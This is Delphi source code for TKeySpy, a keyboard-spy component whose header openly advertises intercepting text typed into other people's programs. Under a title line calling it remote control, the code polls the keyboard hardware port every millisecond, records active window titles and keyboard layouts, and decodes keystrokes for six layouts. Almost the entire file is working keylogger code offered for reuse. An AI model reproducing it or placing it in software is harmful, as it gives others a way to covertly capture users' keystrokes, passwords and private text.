keyspy.pas

2003年的远程控制

{*************************************************************}
{            TKeySpy Component for Delphi 16/32               }
{ Version:   2.8                                              }
{ E-Mail:    [e-mail]                                }
{ Home page: www.utilmind.com                                 }
{ Created:   August, 16, 1998                                 }
{ Modified:  June, 6, 2000                                    }
{ Legal:     Copyright (c) 1998-2000, UtilMind Solutions      }
{*************************************************************}
{                     KEYBOARD SPY:                           }
{ This component is intended for interception of pressing the }
{ keyboard. The KeySpy is possible to apply for interception  }
{ of the typed text of the another's programs, as keyboard    }
{ spy, or for processing events at type certain keywords etc..}
{*************************************************************}
{ Properties: ************************************************}
{         Enabled: As it usual...                             }
{         Keyword: At a set of this word event will be        }
{                  carried out (See OnKeyword event).         }
{    ActiveLayout: Active keyboard layout (string) Win32 only }
{       SpyLayout: now present English, Russian, German       }
{                  & Italian                                  }
{ActiveWindowTitle: Title of active window (Read only)        }
{     Events: ************************************************}
{    OnKeySpyDown: As OnKeyDown, but in any place (window).   }
{      OnKeySpyUp: As OnKeyUp, but in any place (window).     }
{       OnKeyword: The Keyword has been typed (See Keyword).  }
{ OnLayoutChanged: The Keyboard layout was changed. Win32 only}
{ OnActiveWindowChanged:                                      }
{*************************************************************}
{                    IMPORTANT NOTE:                          }
{  This code may be used and modified by anyone so long as    }
{ this header and copyright information remains intact. By    }
{ using this code you agree to indemnify UtilMind Solutions   }
{ from any liability that might arise from its use. You must  }
{ obtain written consent before selling or redistributing     }
{ this code.                                                  }
{*************************************************************}
{  Changes:                                                   }
{   20.I.1999: Added 32-bit support                           }
{   14.V.1999: Added OnChangeLayout event.                    }
{              Added Italian and Russian keyboard layouts.    }
{   28.V.1999: Added ActiveWindowTitle property.              }
{ 27.VII.1999: Added Portugese keyboard layout.               }
{              Thanks to Tiago Correia ([e-mail])}
{  19.IX.1999: Added German keyboard layout (added by Slaine, }
{              [e-mail])                            }
{    5.V.2000: Added French keyboard layout (added by Vincent }
{              CALLIES, [e-mail])               }
{*************************************************************}
unit KeySpy;

interface

uses
  {$IFDEF WIN32} Windows, {$ELSE} WinTypes, WinProcs,{$ENDIF}
  SysUtils, Controls, Classes, Messages, Forms;

type
  TSpyLayout = (klAmerican, klItalian, klRussian, klPortuguese, klGerman, klFrench);
  TOnKeySpy = procedure(Sender: TObject; Key: Byte; KeyStr: String) of object;
  {$IFDEF Win32}
  TOnLayoutChanged = procedure(Sender: TObject; Layout: String) of object;
  {$ENDIF}
  TOnActiveWindowChanged = procedure(Sender: TObject; ActiveTitle: String) of object;
  TKeySpy = class(TComponent)
  private
    {$IFDEF Win32}
    CurrentLayout: String;
    FActiveLayout: String;
    {$ENDIF}
    CurrentActiveWindowTitle: String;
    FActiveWindowTitle: String;
    FSpyLayout: TSpyLayout;
    FWindowHandle: HWnd;
    FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy;
    FOnKeyword: TNotifyEvent;
    {$IFDEF Win32}
    FOnLayoutChanged: TOnLayoutChanged;
    {$ENDIF}
    FOnActiveWindowChanged: TOnActiveWindowChanged;
    FEnabled: Boolean;
    FKeyword,
    KeyComp: String;

    OldKey: Byte;
    LShiftUp, RShiftUp: Boolean;
    procedure UpdateTimer;
    procedure SetEnabled(Value: Boolean);
    procedure SetKeyword(Value: String);
    procedure WndProc(var Msg: TMessage);
    procedure SetNothingStr(Value: String);
  protected
    procedure KeySpy; dynamic;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property ActiveWindowTitle: String read FActiveWindowTitle write SetNothingStr;
    property Enabled: Boolean read FEnabled write SetEnabled;
    property Keyword: String read FKeyword write SetKeyword;
    property SpyLayout: TSpyLayout read FSpyLayout write FSpyLayout;
    {$IFDEF Win32}
    property ActiveLayout: String read FActiveLayout write FActiveLayout;
    {$ENDIF}
    property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown;
    property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp;
    property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword;
    {$IFDEF Win32}
    property OnLayoutChanged: TOnLayoutChanged read FOnLayoutChanged write FOnLayoutChanged;
    {$ENDIF}
    property OnActiveTitleChanged: TOnActiveWindowChanged read FOnActiveWindowChanged write FOnActiveWindowChanged;
  end;

procedure Register;

implementation

{$I KLayouts.inc}

constructor TKeySpy.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  LShiftUp := True;
  RShiftUp := True;
  FEnabled := True;
  FWindowHandle := AllocateHWnd(WndProc);
  if FEnabled then UpdateTimer;
end;

destructor TKeySpy.Destroy;
begin
  FEnabled := False;
  UpdateTimer;
  DeallocateHWnd(FWindowHandle);
  inherited Destroy;
end;

procedure TKeySpy.WndProc(var Msg: TMessage);
begin
  with Msg do
    if Msg = WM_TIMER then
      try
        KeySpy;
      except
        Application.HandleException(Self);
      end
    else
      Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;

procedure TKeySpy.UpdateTimer;
begin
  KillTimer(FWindowHandle, 1);
  if FEnabled then
   begin
    OldKey := 0;
    if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
      raise EOutOfResources.Create('No timers');
   end;
end;

procedure TKeySpy.SetEnabled(Value: Boolean);
begin
  if Value <> FEnabled then
  begin
    FEnabled := Value;
    UpdateTimer;
  end;
end;

procedure TKeySpy.SetKeyword(Value: String);
begin
  Value := LowerCase(Value);
  if Value <> FKeyword then
   FKeyword := Value;
end;

procedure TKeySpy.KeySpy;
var
  PC: Array[0..$FFF] of Char;
  Key: Byte;
  St: String;
  Wnd: hWnd;
begin
  {$IFDEF Win32}
  Wnd := GetForegroundWindow;
  {$ELSE}
  Wnd := GetActiveWindow;
  {$ENDIF}
  SendMessage(Wnd, wm_GetText, $FFF, LongInt(@PC));
  FActiveWindowTitle := StrPas(PC);
  if CurrentActiveWindowTitle <> FActiveWindowTitle then
   begin
    CurrentActiveWindowTitle := FActiveWindowTitle;
    if Assigned(FOnActiveWindowChanged) then
     FOnActiveWindowChanged(Self, FActiveWindowTitle);
   end;

  {$IFDEF Win32}
  GetKeyboardLayoutName(PC);
  FActiveLayout := StrPas(PC);
  if (FActiveLayout <> CurrentLayout) then
   begin
    CurrentLayout := FActiveLayout;
    if Assigned(FOnLayoutChanged) then
     FOnLayoutChanged(Self, FActiveLayout);
   end;
  {$ENDIF}

  asm
    in al, 60h
    mov Key, al
  end;
  if Key = 170 then
   begin
    Key := 84;
    LShiftUp := True;
   end;
  if Key = 182 then
   begin
    Key := 85;
    RShiftUp := True;
   end;
  if Key = 42 then LShiftUp := False;
  if Key = 54 then RShiftUp := False;
  if Key <> OldKey then
   begin
    OldKey := Key;
    if Key <= 88 then
      begin
       case FSpyLayout of
         klAmerican: if LShiftUp and RShiftUp then
                      St := StrPas(LowButtonName[Key])
                     else
                      St := StrPas(HiButtonName[Key]);
         klItalian: if LShiftUp and RShiftUp then
                     St := StrPas(ItalianLowButtonName[Key])
                    else
                     St := StrPas(ItalianHiButtonName[Key]);
         klRussian: if LShiftUp and RShiftUp then
                     St := StrPas(RussianLowButtonName[Key])
                    else
                     St := StrPas(RussianHiButtonName[Key]);
         klPortuguese: if LShiftUp and RShiftUp then
                     St := StrPas(PortugueseLowButtonName[Key])
                    else
                     St := StrPas(PortugueseHiButtonName[Key]);
         klGerman: if LShiftUp and RShiftUp then
                     St := StrPas(GermanLowButtonName[Key])
                    else
                     St := StrPas(GermanHiButtonName[Key]);
         klFrench: if LShiftUp and RShiftUp then
                     St := StrPas(FrenchLowButtonName[Key])
                    else
                     St := StrPas(FrenchHiButtonName[Key]);
      end;
       if Assigned(FOnKeySpyDown) then
        FOnKeySpyDown(Self, Key, St);

       if Assigned(FOnKeyword) then
        begin
         KeyComp := KeyComp + St;
         if Length(KeyComp) > Length(FKeyword) then
          begin
           Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp));
           {$IFDEF WIN32}
           SetLength(KeyComp, Length(FKeyword));
           {$ELSE}
           KeyComp[0] := char(Length(FKeyword));
           {$ENDIF}
          end;
         if LowerCase(KeyComp) = FKeyword then
          FOnKeyword(Self);
        end;
      end
    else
     if Key - 128 <= 88 then
      begin
       case FSpyLayout of
         klAmerican: if LShiftUp and RShiftUp then
                      St := StrPas(LowButtonName[Key - 128])
                     else
                      St := StrPas(HiButtonName[Key - 128]);
         klItalian: if LShiftUp and RShiftUp then
                     St := StrPas(ItalianLowButtonName[Key - 128])
                    else
                     St := StrPas(ItalianHiButtonName[Key - 128]);
         klRussian: if LShiftUp and RShiftUp then
                      St := StrPas(RussianLowButtonName[Key - 128])
                     else
                      St := StrPas(RussianHiButtonName[Key - 128]);
         klPortuguese: if LShiftUp and RShiftUp then
                     St := StrPas(PortugueseLowButtonName[Key - 128])
                    else
                     St := StrPas(PortugueseHiButtonName[Key - 128]);
         klGerman: if LShiftUp and RShiftUp then
                     St := StrPas(GermanLowButtonName[Key - 128])
                    else
                     St := StrPas(GermanHiButtonName[Key - 128]);
         klFrench: if LShiftUp and RShiftUp then
                     St := StrPas(FrenchLowButtonName[Key - 128])
                    else
                     St := StrPas(FrenchHiButtonName[Key - 128]);
        end;
       if Assigned(FOnKeySpyUp) then
        FOnKeySpyUp(Self, Key, St)
      end;
   end;
end;

procedure TKeySpy.SetNothingStr(Value: String); begin {} end;

procedure Register;
begin
  RegisterComponents('UtilMind', [TKeySpy]);
end;

end.